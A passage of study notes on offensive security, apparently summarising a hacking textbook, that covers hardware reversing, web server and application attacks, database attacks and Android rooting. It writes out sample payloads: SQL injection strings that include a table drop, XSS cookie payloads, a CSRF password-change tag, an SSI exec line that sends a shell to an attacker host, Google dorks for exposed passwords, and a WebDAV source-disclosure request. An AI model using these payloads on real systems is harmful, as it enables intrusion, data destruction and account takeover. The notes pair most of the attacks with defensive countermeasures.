The Eee PC 701 is a subnotebook class device shipped with a custom distribution of Linux. The Samba file-sharing service was on by default. It was a vulnerable version, easily rooted by Metasploit.

4.3.2 Standard Passwords

Many devices ship with default passwords that are often left unchanged, especially routers.

4.3.3 Bluetooth

Yet some phones are still shipped with discovery mode enabled by default, allowing any attacker to discover and connect with the device. Bluetooth has enabled attackers to penetrate networks, steal contacts and social engineer individuals for nearly a decade. Tool: **ubertooth**: it allows for the sniffing and playback of Bluetooth frames a cross all 80 bluetooth channels in the 2.4 GHz ISM band.

4.4 Reverse Engineering Hardware

What do attackers do when confronted by more customized and complex devices?

4.4.1 Mapping the device

Removing the cover of a device is the first step in reversing engineering hardware. The goal is to get access to the internal circuitry (screwdriver or heathgun).

4.4.2 Identifying Integrated Circuit Chips

All ICs have datasheets that you can find by entering the part number into Google or one of the many online parts retailers. Datasheets contain a wealth of information on parts packaging, electrical characteristics and maximum limits, pin diagrams and some application notes and examples. Most ICs have an identifying code printed at the top, which is generally a model number along with possibly some packaging, temperature and materials codes, and a serial number.

Microcontrollers A microcontroller (MCU) is a small CPU or system on a single IC, containing a processor, a tiny amount of memory, and some nonvolatile memory, usually in the form of Flash. Many programming code of a microcontroller are readable via an EEPROM programmer.

EEPROM (Electrically Erasable Programmable Read-Only Memory) Is a type of nonvolatile memory used in electronics to store small amounts of data that must be saved when the power is removed.

FPGAs (Field Programmable Gate Array) Can be used to implement a wide variety of logical operations and can be reconfigured a countless number of times.

External Interfaces Common interfaces include those of standard peripherals, networking, serial, HDMI, USB, wireless and even test points of a JTAG. Any of these interfaces may offer a possible attack vector or potentially leak information.

Identifying Important Pins Pins: **PWR** (power) and **GND** (ground). The pins most likely to interest reverse engineers are the **TX** and **RX** lines, as these generally are associated with a serial bus. The other lines are **DL** (digitallines) and **AD** (analog to digital), those are normally wired to other components or take input from other devices. This information will be useful in sniffing and capturing inter component interactions. Modern circuit boards are **multilayer** so this can make tracing leads from one component to another difficult by visual inspection alone. To create a full component and bus map, use a **multimeter with a toning function**, when a wire is connected on both ends of the multimeter, it will beep, flash, or alert the user that a connection has been made. This confirms that the two components are connected even though the path can't be seen.

4.4.3 Sniffing Bus Data

Just like networks, buses on hardware transmit data from one component to another. The information going across a hardware bus is generally unprotected and thus susceptible to intercept, replay, and man-in-the-middle attacks. An exception to this rule is the information sent in **DRM systems like HDMI-HSCP**, which requires i**nformation be encrypted as it is sent from chip to chip**. Good reconnaissance helps identify which lines on the device are part of the bus you wish to intercept and what clock rate that information is traveling at. A **logic analyzer** allows you to see and record what signals are currently on the bus. These signals correspond to 1s or 0s denoting data that can be decoded later.

4.4.4 Sniffing the Wireless Interface

Before the wireless interface can be accessed, a client device must be available, such as a basic transceiver, another wireless network card, or a Bluetooth device. Then layer 2 software attacks can be performed (i.e 802.11 Wi-Fi operates at the data link layer) against the device. Hacking Step:

1. **Identify the device's FCC ID**. The ID should be printed on the device, packaging, or in the manual. Every device that operates over radio frequency in the United States must be issued an FCC ID. From FCC website useful information should be found regarding the radio frequencies on which the device is to operate, as well as some internal diagrams.

2. **Symbol Decoding**. Is effectively decoding the lowest level bits from the wireless channel on which the device operates, similar to bus data from a physical bus line. A datasheet for one of the IC chips on the hardware device, the user manual, or FCC search site should confirm the RF frequencies used. Tool: **WinRadio or USRP** to perform symbol deconding.

4.4.5 Firmware Reversing

Looking inside of firmware files can lead to a plethora of juicy information about the device, such as default passwords, administrative ports, encryption used (e.g. AES) and debugging interfaces. The fastest way to inspect the firmware file is using a hex editor like **010 Editor**, **UNIX strings/mount/find command** and we can also do **firmware reverse engineering** with **IDA Pro**.

EEPROM programmers The easiest way to typically get at the firmware of many chips is simply a universal EEPROM programmer. It allows tu read and write firmware file.

4.4.6 Microcontroller Development Tools

All microcontrollers have some sort of development tool. Example: MPLAB IDE is a fully integrated development environment for the PIC microcontrollers, with a complete software emulator, line debugger, assembler, and optional free C compiler.

4.4.7 ICE Tools

An in-circuit emulator (ICE) is a device to assist with the debugging of a hardware device in-circuit or while the device is in operation. In-circuit emulators are essential for any serious debugging operation since many hardware systems lack the IO of typical computers such as keyboards and screens. These in-circuit emulators provide a window into the inner workings of the hardware device, with all of the power of your computer to help solve any debugging problems.

4.4.8 JTAG (Join Test Action Group)

The most common ICE type of interface found on modern embedded systems is the JTAG interface. It is a testing interface for printed circuit boards and other integrated circuits. JTAG was designed to test if the interfaces between components on a board were properly assembled post-manufacturing. Thus it allows an attacker to send and receive signals to each IC or component on the board. This makes JTAG a great resource to debug an embedded system or device when simple reversing doesn't yield results.

5 Application And Data Hacking

5.1 Web Server Hacking

An attacker with the right set of tools and ready-made exploits can bring down a vulnerable web server in minutes. The risk from problems like Internet worms is gradually shrinking for the following reasons:

1. Vendors and the open-source community are learning from past mistakes and are responding more rapidly with patches to those few vulnerabilities that do continue to surface in web platform code.
2. Users and system administrators are also learning how to configure web server platforms to provide a minimal attack surface, disabling many of the common footholds exploited by attackers in years past.
3. Automated vulnerability-scanning products and tools provides quick and efficient identification of vulnerabilities.

Web server vulnerabilities tend to fall into one of the following categories:

- Sample files.
- Source code disclosure.
- Canonicalization.
- Server extensions.
- Input validation (for example, buffer overflows).
- Denial of Service.

5.1.1 Sample Files

One of the classic sample file vulnerabilities dates back to Microsofts IIS 4.0. It allows attackers to download ASP source code. This vulnerability is introduced by the sample code that was installed by default, the default installation is one of the more common mistakes made by web platform providers in the past. In this case the involved files installed with the default IIS4 package were showcode.asp and codebrews.asp. If present, these files could be accessed by a remote attacker and could reveal the contents of just about every other file on the server.

5.1.2 Source Code Disclosure

Source code disclosure attacks allow a malicious user to view the source code of confidential application files on a vulnerable web server. Under certain conditions, the attacker can combine this with other techniques to view important protected files such as /etc/passwd. On application source code you should never store sensitive data, such as database passwords or encryption keys.

5.1.3 Canonicalization Attacks

Computer and network resources can often be addressed using more than one representation. For example, the file C:\text.txt may also be accessed by the syntax ..\text.txt. The process of resolving a resource to a standard (canonical) name is called canonicalization. Applications that make security decisions based on the resource name can easily be fooled using so-called canonicalization attacks. You simply use the following URL format when discovering an ASP page:

http://192.168.51.101/scripts/file.asp::$DATA

Countermeasures:

- Keep current on your web platform patches.
- Compartmentalize your application directory structure.
- Microsoft's URLScan which can strip URLs that contain Unicode encoded characters before they reach the server.

5.1.4 Server Extension

On its own, a web server provides a minimum of functionality; much of the functionalities comes in the form of extensions, which are code libraries that add on to the core HTTP engine to provide features such as dynamic script execution, security, caching, and more. The Microsoft WebDAV Translate:f vulnerability is exploited by sending a malformed HTTP GET request for a server-side executable script or related file type, such as Active Server Pages (.asp) or global.asa files. Frequently, these files are designed to execute on the server and are never to be rendered on the client to protect the confidentiality of programming logic, private variables, and so on. The malformed request causes IIS to send the content of such a file to the remote client rather than execute it using the appropriate scripting engine. The key aspects of the malformed HTTP GET request include a specialized header with Translate: f at the end of it and a trailing backslash (\) appended to the end of the URL specified in the request:

GET /global.asa\ HTTP/1.0

```
Host: 192.168.20.10
Translate: f
[CRLF]
[CRLF]
```

Countermeasures:

- Patching or disabling the vulnerable extension.

5.1.5 Buffer Overflows

Given the appropriate conditions, buffer overflows often result in the ability to execute arbitrary commands on the victim machine, typically with very high privilege levels. The easiest overflows to exploit are termed stack based buffer overruns, denoting the placement of arbitrary code in the CPU **execution stack**.

- The IIS ASP Stack Overflow vulnerability affects Microsoft IIS 5.0, 5.1, and 6.0. It allows an attacker who can place files on the web server to execute arbitrary machine code in the context of the web server software.

More recently, so-called **heap-based** buffer overflows have also become popular, where code is injected into the heap and executed.

- The IIS HTR Chunked Encoding Transfer Heap Overflow vulnerability affects Microsoft IIS 4.0, 5.0, and 5.1. It potentially leads to remote denial of service or remote code execution at the IWAM_MACHINENAME privilege level.

5.1.6 DoS(Denial of Service)

Most often, denial of service attacks are distributed and require a large number of machines to bring a web server down. As we've seen countless times with Low Orbit Ion Cannon (LOIC), it can be trivial to bring down a web server given enough cannons pointing to a single target. A simple example of web vulnerability denial of service attack was released on December 2011 exploiting hash collisions and naïve hash function implementations to POST requests with many parameters whose names produce the same hash value. Countermeasures: as always, the best advice is to apply the recent software patches and monitor the vendor advisories.

5.2 Web Server Vulnerability Scanners

Commonly called web vulnerability scanners, these types of tools scan for dozens of well-known vulnerabilities. We can use them to patch our system.

5.2.1 Nikto

Nikto is a web server scanner that performs comprehensive tests against web servers for multiple known web server vulnerabilities. Pros:

- Update scan db with a single command.
- Scan db is in CSV (easy to add custom scans).
- Provides SSL support.
- Support nmap output as input.
- Multiple target can be specified.
- Captures cookies from the web server.

Cons:

- Does not take IP range as input.
- Does not support NTLM authentication.
- Cannot perform checks with cookies.

5.2.2 Nessus

Tenables Nessus is a network vulnerability scanner that contains a large number of tests for known vulnerabilities in web server software. Pros:

- Easy GUI with automated updating.
- Client/server architecture allows test automation.
- Provides proxy support with authentication.
- Targets can be queued up and scanned automatically.

Cons:

- Not directly focused on web servers.
- Real-time updates to the scan db require a subscription (otherwise it is delayed by seven days).
- Limited http authentication support.

5.3 Web Application Hacking

Difference between web server hacking and web application hacking: the attacker is focused on custom application code (application) and not on off-the-shelf server software (server).

5.3.1 Finding Vulnerable Web Apps with Google (Googledorks)

Hackers can use search engines to make anonymous attacks, find easy victims, and gain the knowledge necessary to mount a powerful attack against a network. Search engines are dangerous largely because users are careless. Using Google, you can trivially get a list of publicly accessible pages on a website, simply by using the advanced search operators:

- site:example.com
- inurl:example.com

To find unprotected /admin, /password, and /mail directories, along with their content, search for the following keywords on Google:

- “Index of /admin”
- “Index of /password”
- “Index of /mail”
- “Index of /” password.txt

To find password hint applications that are setup poorly (many of these enumerate users):

- password hint
- password hint –email

For hundreds of examples like these, check out the Google Hacking Database.

5.3.2 Web Crawling

Web Crawling is the activity where firstly downloading the entire contents of the target website and looking for local path information, back-end server names and IP addresses, SQL query strings with passwords, informational comments, and other sensitive data in the following items:

- Static and dynamic pages.
- Source code.
- Cookies.

5.3.3 Web-crawling Tools

Wget is a free software package for retrieving files using the most common Internet protocols:HTTP, HTTPS, and FTP. It is a non interactive command-line tool, so you can easily call it from scripts, cron jobs, and terminals without X-Windows support.

HTTrack HTTrack Website Copier is a free cross-platform application that allows attackers to download an unlimited number of their favorite websites and FTP sites for later offline viewing, editing and browsing.

Crawljax new tools are being developed to analyze and crawl AJAX applications. Crawljax, one such tool, performs dynamic analysis to reconstruct UI state changes and build a state-flow graph.

5.3.4 Web Application Assessment

After the crawling the ultimate goal of the assessment is to thoroughly understand the architecture and design of the application, pinpoint any potential weak points, and logically break the application in anyway possible. Here each major component of the application is examined from an unauthenticated point of view as well as from the authenticated perspective if appropriate credentials are known. Web application attacks commonly focus on the following features:

- Authentication.
- Session management.
- Database interaction.
- Generic input validation.
- Application Logic.

Tools commonly used to perform web application hacking:

- Browser plug-ins.
- Free tool suites.
- Commercial web application scanners.

5.3.5 Browser plug-ins

Browser plug-ins allow you to see and modify the data you send to the remote server in real time as you navigate the website. The concept behind browser plug-in security tools is ingenious and simple:install a piece of software into the web browser that monitors requests as they are sent to the remote server. When a new request is observed, pause it temporarily, show the request to the user, and let them modify it before it goes out on the wire. Useful for:

1. modifying query arguments and request headers.
2. inspecting the response from the remote server.

5.3.6 Tool Suites

Typically built around web proxies that interpose themselves between the web client and the web server, tool suites are more powerful than browser plug-ins. Invisible to the client web browser, proxies can also be used in situations where the client is not a browser, but instead some other kind of application (such as a web service). Example:

1. **Fiddler** (developed by Microsoft) is a proxy server that acts as a man-in-the-middle during an HTTP session. Allows you to modify requests before they go out to the web server and modify server's response before it is returned to the client application.
2. **WebScarab** is a Java-based web application security testing framework. It allows to: analyze web app, session ID analysis, content examination and "fuzzing". Fuzzing is a generic term for throwing random data at an interface (be it a programming API or a web form) and examining the results for signs of potential security miscues.
3. **Burp Suite** , more than just a proxy, is a complete suite of tools for attacking web applications. Burp Proxy provides the usual functionality for intercepting and modifying web traffic, including conditional intercept and pattern-based automatic string replacement. Functionalities:
   - **Burp Repeater**: requests can be modified and replayed.
   - **Burp Sequencer**: can be used to assess the strength of the application's session management.
   - **Burp Spider**: gathers information about the target website, parsing HTML and analyzing JavaScript to provide attackers with a complete picture of the application.
   - **Burp Intruder**: tool for crafting automated attacks against web applications. The attacker defines an attack request template, selects a set of payloads to incorporate into the attack templates and then start sending a lot of requests.

5.4 Web Application Security Scanners

Application scanners automate the crawling and analysis of web applications, using generalized algorithms to identify broad classes of vulnerabilities and weed out false positives. These tools provide an all-in-one solution for web application assessment. These tools evaluate if an application has known defects such as SQL injection and cross-site scripting. Tool:

1. **Hewlett-Packard Web Inspect and Security Toolkit**: Web Inspect allows to scan automatically a web server listing its vulnerability while HP Security Toolkit offers all the tools commonly used by advanced web application security analysts:
    - HTTPEditor.
    - RegularExpressions Editor, for testing input and output validation.
    - SQL Injector.
    - Web Brute, for testing weak credential in authentication interfaces.
    - Web Discovery, simple port scanner.
    - Web Proxy, mitm analysis tool for web communication.
2. **Rational AppScan**: similar to WebInspect it's an IBM product. Good for large-scale automated web privacy, security, and regulatory compliance.

5.5 Common Web Application Vulnerabilities

Top ten OWASP is a a regularly updated list of the top ten web application security issues. We discuss:

- Cross-Site Scripting (XSS)
- Injection Flaws
- Cross-Site Request Forgery (CSRF)

5.6 Cross-Site Scripting (XSS) Attacks

XSS is typically targeted not at the application itself, but rather at other users of the vulnerable application. XSS can result in hijacked accounts and sessions, cookie theft and misdirection. The common attack when exploiting an XSS vulnerability is to steal the **user's session cookies**, which would otherwise be inaccessible to an outside party, but recent attacks have been increasingly more malicious, propagating **worms across social networking websites** or infecting the **victim's computer with malware**. All XSS opportunities are created by applications that fail to manage HTML input and output safely, specifically, HTML tags encompassed in angle brackets (⟨⟩) and a few other characters, such as quotation marks (") and ampersands (&), are used to embed executable content in scripts. Common XSS Payloads:

- script injection into a variable:
  http://localhost/page.asp?variable=⟨script⟩alert ('Test') ⟨script⟩
- display victim cookie:
  http://localhost/page.asp?variable=⟨script⟩alert (document.cookie)⟨script⟩

Countermeasures:

- Filter out input parameters for special characters.
- HTML-encode output so even if special characters are in input, they appear harmless to subsequent users of the application.
- If your application set cookies, use Microsoft's HttpOnly cookies.
- Analyze your application for XSS vulnerabilities on a regular basis.

5.7 SQL Injection

In response to a request for a web page, the application generates a query, often incorporating portions of the request into the query. If the application isn't careful about how it constructs the query, an attacker can alter the query, changing how it is processed by the external service. SQL injection refers to inputting raw SQL queries into an application to perform an unexpected action. Often, existing queries are simply edited to achieve the same results, SQL is easily manipulated by the placement of even a single character in a judiciously chosen spot, causing the entire query to behave in quite malicious ways. Some of the characters commonly used for such input validation attacks include the backtick (‘), the double dash (- -), and the semicolon (;), all of which have special meaning in SQL. Examples:

1. Bypassing Authentication: Username: ' OR "=', Username: ' or 1=1-
2. Drop DB table: Username: ';drop table users-

5.7.1 Automated SQL Injection Tools

- HPWebInspect.
- Rational AppScan.
- SQL Power Injector.
- Absinthe supports Microsoft SQL Server, Postgres, Oracle and Sybase.

- SqlNinja. Permits to perfom injection and can also crack theserver passwords, escalate privileges and provide the attacker with remote graphical access to the database host.

- Sqlmap.

5.7.2 Countermeasures

- **Use bind variables** (parameterized queries).

- **Perform strict input validation**, like sanitizing with regular expression, on any input from the client

- **Implement default error handling**. A common SQL injection technique is to use error messages from the database to retrieve information. Never show anything but generic error messages to the end-user.

- **Lock Down ODBC**. Disable the execution of arbitrary SQL disabling the messaging to clients.

- **Lock down the database server configuration**. Specify users, roles, and permissions.

- **Use programming frameworks** like Hybernate because those force you to use bind variable.

5.8 CSRF (Cross-Site Request Forgery)

The concept behind CSRF is simple: web applications provide users with persistent authenticated sessions, so they don't have to reauthenticate themselves each time they request a page. But if an attacker can convince the user's web browser to submit a request to the website, he can take advantage of the persistent session to perform actions as the victim. Attacks can result in a variety of ill outcomes for victims: their account passwords can be changed, funds can be transferred, merchandise purchased, and more. Example: an attacker can simply embed an image tag into a commonly visited web page, such as an online forum; when the victim loads the web page, her browser dutifully submits the GET request to fetch the"image,"except instead of it being a link to an image, it's a link that performs an action on the target website.
⟨img src="http://example.com/updateaccount.asp?new_password=evil"⟩
Countermeasures: The key to preventing CSRF vulnerabilities is somehow tying the incoming request to the authenticated session. What makes CSRF vulnerabilities so dangerous is the attacker doesn't need to know anything about the victim to carry out the attack. Once the attacker has crafted the dangerous request, it works on any victim that has authenticated to the website.

- To foil this, your web application should insert random values, tied to the specified user's session, into the forms it generates.
- If a request comes in that does not have a value that matches the user's session, require the user to re-authenticate and confirm that he wishes to perform the requested action.
- When developing your web applications, consider requiring users to re-authenticate every time they are about to perform a particularly dangerous operation, such as changing their account password.

5.9 HTTP Response Splitting

The root cause of this class of vulnerabilities is the exact same as that of SQL injection or cross-site scripting: poor input validation by the web application. Fortunately, like XSS, the damage wrought by HTTP response splitting usually involves convincing a user to click a specially crafted hyperlink in a malicious website ore-mail. It only affects web applications designed to embed user data in HTTP responses, which is typically confined to server-side scripts that rewrite query strings to a new site name. HTTP response splitting are possible thanks to web script response redirect methods:

- **Javascript:** response.sendRedirect.
- **ASP:** Response.Redirect.

A malicious hacker might send an e-mail containing a link to the vulnerable server, with an injected HTTP response that actually directs the victim to a malicious site, sets a malicious cookie, and/or poisons the victim's Internet cache so they are taken to a malicious site when the victim attempts to visit popular Internet sites such as eBay or Google.

5.9.1 HTTP Response Splitting Countermeasures

- Solid input validation on server input. Simply remove percentsymbolsand angle brackets (%, ⟨,and ⟩).
- Tthe key input to be on the lookout for is encoded CRLFs (that is, %0d%0a - encoded new line).
- Output validation (HTML encoding). For example, if a text string contains the ⟨and ⟩characters, the browser interprets these characters as being part of HTML tags. The HTML encoding of these two characters is &lt and gt, respectively, which causes the browser to display the angle brackets correctly. By encoding rewritten HTTP responses before sending them to the browser, you can avoid much of the threat from HTTP response splitting.

- Use of *runat* directive. It set off server-side execution in your ASP code: ⟨form runat="server"⟩.
  This directs execution to occur on the server before being sent to the client.

5.10 Misuse of Hidden Tags

Vulnerable e-commerce site with misuse of hidden tags use them as the sole mechanism for assigning the price to a particular item:
input type="hidden" name="price" price="100" ⟩A simple change of the price with any HTML text editor allows the attacker to submit the purchase for a lower price. Countermeasures:

- Limit use of hidden tags to store this kind of information or confirm the value before processing it.

5.11 SSI (Server Side Include)

Server Side Includes (SSIs) provide a mechanism for interactive, real-time functionality without programming. Web developers often use them as a quick means to learn the system date/time or to execute a local command and evaluate the output for making a programming flow decision. The three most helpful SSI features are: *include*, *exec* and *email* tags. A number of attacks can be created by inserting SSI code into a field that is evaluated as an HTML document by the web server, enabling the attacker to execute commands locally and gain access to the server itself. Example: if the attacker enters an SSI tag into a first or last name field when creating a new account, the web server may evaluate the expression and try to run it:
⟨– #exec cmd="usr/x11R6/bin/xterm -display attacker:0 &" –⟩This will sends back an xterm to the attacker. Countermeasures:

- Use a preparser script to read in any HTML file, and strip out any unauthorized SSI line before passing it on to the server.
- If possible disable server-side includes in web server's configuration.

5.12 Database Hacking

The database contains all the data owned by an organization in an orderly, easy-to-retrieve fashion. If a hacker can reach the database, be that by using SQL injection or by gaining a foothold in the organization by compromising another machine inside the firewall, it is fairly simple to garner enough privileges to steal all discovered data and even infect the database with malicious content. Like Web Server Vulnerabilities the Database Hacking can be divided into **database software vulnerabilities** and **application logic vulnerabilities** for applications executing inside the database. Unlike web server, database software is verxy complex, it contains huge amounts of logic and thus a huge attack surface.

5.12.1 Database Discovery

By using **nmap**. Nmap is a network exploration tool that makes it easy to identify hosts, open ports, and the services running on them as well as the OS and service versions. It contains a scripting engine for running Lua scripts and has built-in scripts to detect the most popular databases in use today. Countermeasures:

- Never expose your databases directly to the Internet.
- Segment your internal network and separate databases from other network segments by using firewalls and configuration options.
- Allow only a select subset of internal IP addresses to access the database.
- Run IDS tools to identify network port scanning attempts.

5.13 Database Vulnerabilities

5.13.1 Network Attacks

All database platforms contain a **network listening component**. Sometimes this component is a separate executable (Oracle) and often it is part of the main database engine process (MS SQL Server). The listening component has to becarefully written to avoid the usual attack suspects such as buffer overflows. The susceptibility to attack is in direct proportion to the complexity of the protocol. Network attacks also include a subcategory of attacks that target **network logic flaws**. For example, trusting commands sent from a client and then executing them as a privileged user can lead to full database compromise. Countermeasures:

- Segment your internal network and separate databases from other segments by using firewalls and configuration options.
- Apply DBMS vendor patches as soon as they are made available.

5.13.2 DB Engine Bugs

The database engine is one of the most complex pieces of software ever made. It includes many different processes that are responsible for the smooth operation of the database. It also includes many different components that interact with the user such as parsers and optimizers as well as running environments that let users create programs to execute inside the database. It is no wonder that such complex software includes bugs and that some of these bugs are security related and exploitable. Ranging from improper permission validations to buffer overflows that allow an attacker to gain full control of the database, these bugs are very hard to protect against. Examples:

1. Improper permissions validation vulnerability by Oracle permits to perform updates, inserts and deletes on tables without appropriate privileges.

2. MS SQL via integer underflow vulnerability permits the attacker to take the control of the server.

Countermeasures:

- Apply DBMS vendor patches as soon as they are made available.

- Monitor database logs for errors and audit user activity.

5.13.3 Vulnerable Built-in Stored Objects

Many database systems provide a large number of built-in stored procedures and packages. These stored objects provide additional functionality to the database and help administrators and developers to manage the database system. Some of the added functionalities includes: making HTTP request, managing XML objection and accessing OS files. With such a large attack surface, vulnerabilities are inevitable. These vulnerabilities range from SQL injection attacks to buffer overflows to application logic issues. Countermeasures:

- Apply DBMS vendor patches as soon as they are made available.

- Follow the least privilege principle so database accounts have the minimal privileges required for them to perform their work. Make sure to revoke access to dangerous database objects.

5.13.4 Weak or Default Passwords

The easiest path into the database is to simply use the correct credentials. After scanning and finding a database,an attacker usually tries using a script that contains a few hundred combinations of credentials and, in most cases, succeeds in gaining access to the database. (Dictionary attacks). Countermeasures:

- Periodically scan your databases to discover and alert users to weak and default passwords

- Monitor application accounts for suspicious activity not originating from the application servers.

5.13.5 Miscofigurations

Common miscofigurations include:

1. Leaving listening components without using management passwords at all.
2. Keeping administrative passwords empty, generally for administrative users like sa.
3. Granting excessive privileges to service accounts or even to every database account.
4. Choosing unsecure settings, granting full access to the OS filesystem from the database.
5. Setting no limits to suspicious account activities such as failed logins, password lock time,etc.
6. Not enforcing password strength requirements and periodic password changes.
7. Not limiting account behavior like sessions per account and CPU consumption.
8. Leaving demonstration accounts on production databases.

Countermeasures: create a gold standard for each database platform and periodically scan your databases to discover and alert on any deviations from this standard.

5.13.6 Indirect Attacks

With database administrators (DBAs) being directly targeted in advance, along with persistent threat attacks, an attacker targeting a particular organization can, once gaining control of a DBA machine, change obscure configuration files or even modify database client binaries to inject his own nefarious commands into the database. Another option for an attacker is to install a keylogger on the DBA's machine to capture the used credentials. In both cases, there is no need to actually hack into the database, as credentials are readily available with the highest privileges. Countermeasures:

- Monitor and alert on suspicious privileged user's behavior.
- Restrict what is allowed to run on the DBA system to known good programs only.
- Do not click untrusted/unknown links in your web browser from your DBA system.
- Strictly control user access to the DBA system.

6 Mobile Hacking

6.1 Hacking Android

Android Inc. was started as an independent company in 2003 by Andy Rubin. Google acquired Android in 2005. Android is not just an operating system. As it is described on the official Android Developers website, “Android is a software stack for mobile devices that includes an operating system, middleware and key applications”, which means that above the core system services provided by the Linux kernel, there are other components that make Android a very powerful and flexible software platform for a great variety of gadgets and mobile devices (tablets, e-readers, smarphones ...). Android is not truly an open-source platform because most of the companies involved in the development of the platform are designing new Android components without sharing the source code (i.e. closed source android component: Youtube, Gmail and Google Maps). Google is responsible for the release of major system updates and new Android version. This situation leads us to one of the biggest security issues in Android: **fragmentation**. Because Google gives priority to their system updates, the process for getting the latest version of Android for a given device is very slow compared to the evolution of the platform as a whole. The result is that many Android devices have old versions of the operating system that have well-known vulnerabilities that are being exploited in the wild. Another important characteristic of Android is at its heart: the **Linux kernel**. Android has a well-known open-source platform as a kernel that enables easier interaction with the lowest layer of the system by allowing the execution of native Linux commands and the compilation and use of popular applications, including those that interface with low-level OS functionality like the penetration testing applications Nmap and tcpdump. In fact, Android provides a **Native Development Kit** that allows developers to build libraries in native code (C, C++).

6.2 Android Fundamentals

Android, as a **complete software stack for mobile devices**, is a powerful platform that provides all the functionality required to assure the correct operation of the mobile device.

- At its core, Android has an **ARM cross-compiled Linux kernel** that provides a bridge between the hardware and the remaining system components. The kernel also provides the most essential functionality that an operating system should have to function in a correct way, such as managing processes, memory and power.
- Above the Linux kernel is a layer composed of a **set of native libraries** that

provides an access method to functionality that is necessary to build powerful and versatile applications like the ability to play/record media files, perform persistent storage, use specific hardware like cameras and GPS, communicate with other devices, and draw2D and 3D graphics (OpenGL). Android libraries may contain vulnerabilities: SQLite, a database engine used by most applications to store persistent data, store data without proper security measures like encryption (no confidentiality).

- Along with the C/C++ libraries, the Android Runtime component includes the **Dalvik Virtual Machine** and a set of **core Java libraries** that provides basic functionality that will be used by every application above this layer. This component (Dalvik) provides an environment to execute Android applications developed in Java. It also runs each application in **its own instance of the Dalvik VM**. The Dalvik VM architecture is designed to enable applications to work in a wide range of mobile devices that, compared to traditional computers, have very limited resources, including power, memory and storage. Once an application is developed in Java, it is transformed to **dex** (Dalvik Executable) files using the dx tool included in the Android SDK so it's compatible with the Dalvik VM. Dalvik VM is open source.
- The next layer in the architecture is the **application framework**, which is a set of software components that helps developers to build Android applications, including things like the ability to create user interfaces and services running in the background.
- Finally, at the top of the architecture are the **applications**. Some provide basic functionality (browser, phone ...) but others are developed by the users.

Some of the Android security features:

- Android provides an application **sandbox** that uses **Linux user based protection to identify and isolate application resources**. Once an application is executed, Android assigns a unique user ID that runs in a separate process so applications cannot interact with each other.
- Android 3.0 and later provides **full system encryption (AES 128)** that protects user data in case the device is lost or stolen.
- **System partition is read-only**, preventing the modification of those files unless the user has root privileges.
- **ASLR**.

- **NX (No Execute)** to mark certain areas of memory as non executable and, therefore, preventing execution on protected memory areas like the stack and heap.
- For preventing application level attack that uses protected APIs (sms/mms, location ...) Android shows the **permissions required by the application** and based on that information, the user can decide to install the application or not.
- All applications (.apk) must be **signed with a certificate** signed by the app's developer. However, this certificate could be self-signed and does not need to be signed by a certificate authority.

6.2.1 Useful Android Tools

Android, as does any other mobile platform, provides a Software Development Kit that helps developers build and test applications for Android. Useful tools provided by SDK are:

Android Emulator is a virtual ARM mobile device emulator that lets you prototype, develop, and test Android applications An emulator is useful if you do not have a physical test device, to gain experience with Android, and to test applications with different versions of the OS or various hardware configurations.

Android Debug Bridge is a command-line tool that provides a way to communicate with an emulator or with a physical device. When executed, adb searches for connected devices (ports 5555 to 5585). When the adb deamon is found, adb sets up a connection to that port, allowing the execution of commands like pull/push to copy and retrieve files from the device.

Dalvik Debug Monitor Server is a debugging tool that connects to adb and is able to perform port-forwarding, take screen captures of the device, obtain log information (using logcat), send simulated location data, SMS and phone calls to the device/emulator.

6.3 Hacking Your Android

Some applications, data, and configurations are restricted by the manufacturer to protect critical system components and the only way to have access to it is by "rooting" your Android. The "rooting" process consists of a privilege escalation attack where, prior to the exploitation of an existing vulnerability in the device, the user has administrative rights in the system. Gain full control of the device but the device may be "bricked" if

the rooting process is suddenly interrupted and some core system files are accidentally corrupted.
Android Rooting Tools:

- **SuperOneClick**: it roots almost all Android phones and versions, it's a Native windows application and it is simple to use.
- **Z4Root**: it's an apk provided by the XDA Developers, it only requires one button to root the device.
- **GingerBreak**: similar to Z4Root. It gets root access on Gingerbread (Android 2.3) devices.

6.3.1 Rooting a Kindle Fire

Amazon Kindle Fire is very attractive to hackers because it has customized version of Android 2.3 that restricts several activities, such as downloading applications from the official Android Market. The Kindle Fire runs the Kindle Fire OS (customized version of Android 2.3). Steps to root a Kindle Fire (One Click Root for Kindle Fire):

- Enable installation of applications from unknown sources;
- Install the Android SDK (Android web page);
- Change USB driver settings: at the end of username/.android/adb_usb.ini add: 0x1949;
- Edit also the android_winusb.inf in the SDK folder;
- Connect Kindle Fire to computer's USB port and check that adb sees the kindle through the command: adb devices;
- Download and push to the device BurritoRoot, su and superuser.apk;
- From adb shell execute and install each downloaded files;

Now that the kindle is rooted it's possible to download and install **GoogleServicesFramework.apk** in order to install the official Android Market on the Kindle Fire.

6.3.2 Cool Apps for Rooted Android Devices

- **Superuser:** Control which applications can execute with root privileges via pop-up messages.
- **Rom Manager:** It allows the management (download, delete and install) of a custom ROM.

- **Market Enabler:** Many of the applications in the official Android Market are not available globally; some of them are restricted to certain countries, regions or carriers. It changes SIM issuer code temporarily in order to enable those application in the market.

- **ConnectBot:** Execute shell over the device remotely (like adb).

- **Screenshot:** Obtain device screenshot simplying by shaking the device.

- **ES File Manager:** Operations: copy, paste, create, delete, rename, compress and create encrypted ZIP.

- **SetCPU:** permits to overclock and underclock the phone. Overclock increases the performance while the underclock saves battery power.

- **Juice Defender:** save power and extend battery life by managing hardware components (Bluetooth, CPU speed and Wi-Fi connection).

6.4 Native Apps on Android

things about Android is its Linux kernel. You can treat your Android as a Linux box using shell commands via adb like ls, chmod or cd instead of try to guess the internals of a closed operating system like the BlackBerry OS. Another advantage of Linux is that there are a lot of native open source tools written in C or C++ available for this platform. In order to execute C/C++ code we need a cross compiler which is able to create executable code for platforms different from the one which the compiler is being executed (in this case ARM). The Android NDK (Native Development Kit) is a special cross compiler integrated into the Android SDK that provides a set of tools to generate native code from C and C++ source code, but unlike a traditional cross compiler, the generated native code is packed in an apk so the code is not executed directly in the Linux kernel.

6.4.1 Installing Security Native Binaries in Your Rooted Android

Useful Native binaries tools to hack other Androids:

- **BusyBox:** is a set of UNIX tools that allows to execute: *tar, dd, wget* and others. The tool can be used by passing a command name as a parameter: *./busybox tar.*

- **Tcpdump:** Sniff and display packets that are transmitted over a network.

- **Nmap:** Discover hardwware and software on a network to identify specific details of the host operating system: open ports, DNS names and MAC address.

- **Ncat:** improved version of netcat.It reads and writes data across networks from command line, which means it is a powerful utility for making various remote network connections.

6.5 Trojan App

